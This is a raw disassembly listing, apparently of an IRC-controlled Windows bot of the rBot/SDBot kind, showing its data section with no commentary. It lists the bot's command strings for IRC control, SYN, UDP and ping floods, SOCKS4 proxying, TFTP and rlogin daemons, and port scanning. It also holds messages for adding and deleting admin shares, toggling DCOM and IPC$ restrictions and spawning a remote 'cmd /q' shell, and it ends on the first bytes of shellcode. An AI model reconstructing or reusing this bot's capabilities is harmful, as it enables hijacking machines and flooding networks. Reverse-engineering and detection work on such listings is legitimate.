sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 4 aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 10h aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 10h aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 4 aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 10h dword_438190 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_4381B8 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 10h aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 4 aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_438218 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_438234 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_438240 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_43824C dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_43825C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_438268 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_438274 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_438284 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_438290 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_43829C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_4382AC dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_4382B8 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_4382C4 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4382D0 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4382E0 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_438304 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_438310 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_43831C dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_438324 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_438330 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_438340 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_438364 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 4 aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 10h aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 4 aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 10h aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 4 aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 4 asc_43841C: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 4 aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 4 aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_438460 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_4384A0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_4384E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_438524 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 4 dword_43855C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_4385AC dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABEo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_4385F4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_43860C dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 10h dword_438630 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_43864C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_438658 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 4 dword_43869C dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_4386A4 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_4386A8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_4386D8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_438734 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 10h asc_4387B0: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_4387B4 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_4387C4 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 4 unk_4387FC db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_438834 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_438868 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_4388A0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 4 dword_4388DC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_438928 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_438964 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_43899C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0) aConst db 'const',0 align 4 dd 0 dword_438BAC dd 1 ; DATA XREF: sub_415D01+7o off_438BB0 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_438C04 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_438C0C db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_438C10 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_438C14 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_438C1C dd 334B32h ; DATA XREF: ___:00415C08o dword_438C20 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_438C28 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_438C2C db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_438CA0 dd offset dword_438CD8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_438CD0 align 10h off_438CB0 dd offset dword_438CCC ; DATA XREF: sub_4162AC+1E3o dd offset dword_438CC8 dd offset dword_438CC4 dd offset dword_438CC0 dword_438CC0 dd 5C3A44h ; DATA XREF: sub_415F88+217o ; ___:00438CBCo dword_438CC4 dd 2444h ; DATA XREF: ___:00438CB8o dword_438CC8 dd 5C3A43h ; DATA XREF: ___:00438CB4o dword_438CCC dd 2443h ; DATA XREF: ___:off_438CB0o dword_438CD0 dd 494D4441h, 244Eh ; DATA XREF: ___:00438CA8o dword_438CD8 dd 24435049h, 0 ; DATA XREF: ___:off_438CA0o unk_438CE0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_438D20 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_438D58 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_438D94 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_438DC8 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_438E04 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_438E38 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_438E78 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_438EC4 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_438F08 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_438F68 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_438FA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_438FD4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_439014 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_439018 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_439058 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_439090 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_4390C0 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_43910C db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_439150 db 2 ; DATA XREF: sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43919C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AC:loc_416319o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_4391C8 db 2 ; DATA XREF: sub_4162AC+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4391FC dw 59h ; DATA XREF: sub_4162AC+38r align 10h dword_439200 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_439244 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C6+59o ; sub_4165C6+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43929C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4392D4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_439324 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416717+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_439374 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416810+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co align 10h dword_4393C0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E9+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_43940C: ; DATA XREF: sub_416C55+C4o jmp short loc_439410 ; --------------------------------------------------------------------------- loc_43940E: ; CODE XREF: ___:loc_439410p jmp short loc_439415 ; --------------------------------------------------------------------------- loc_439410: ; CODE XREF: ___:loc_43940Cj call loc_43940E loc_439415: ; CODE XREF: ___:loc_43940Ej pop ebx xor ecx, ecx ; 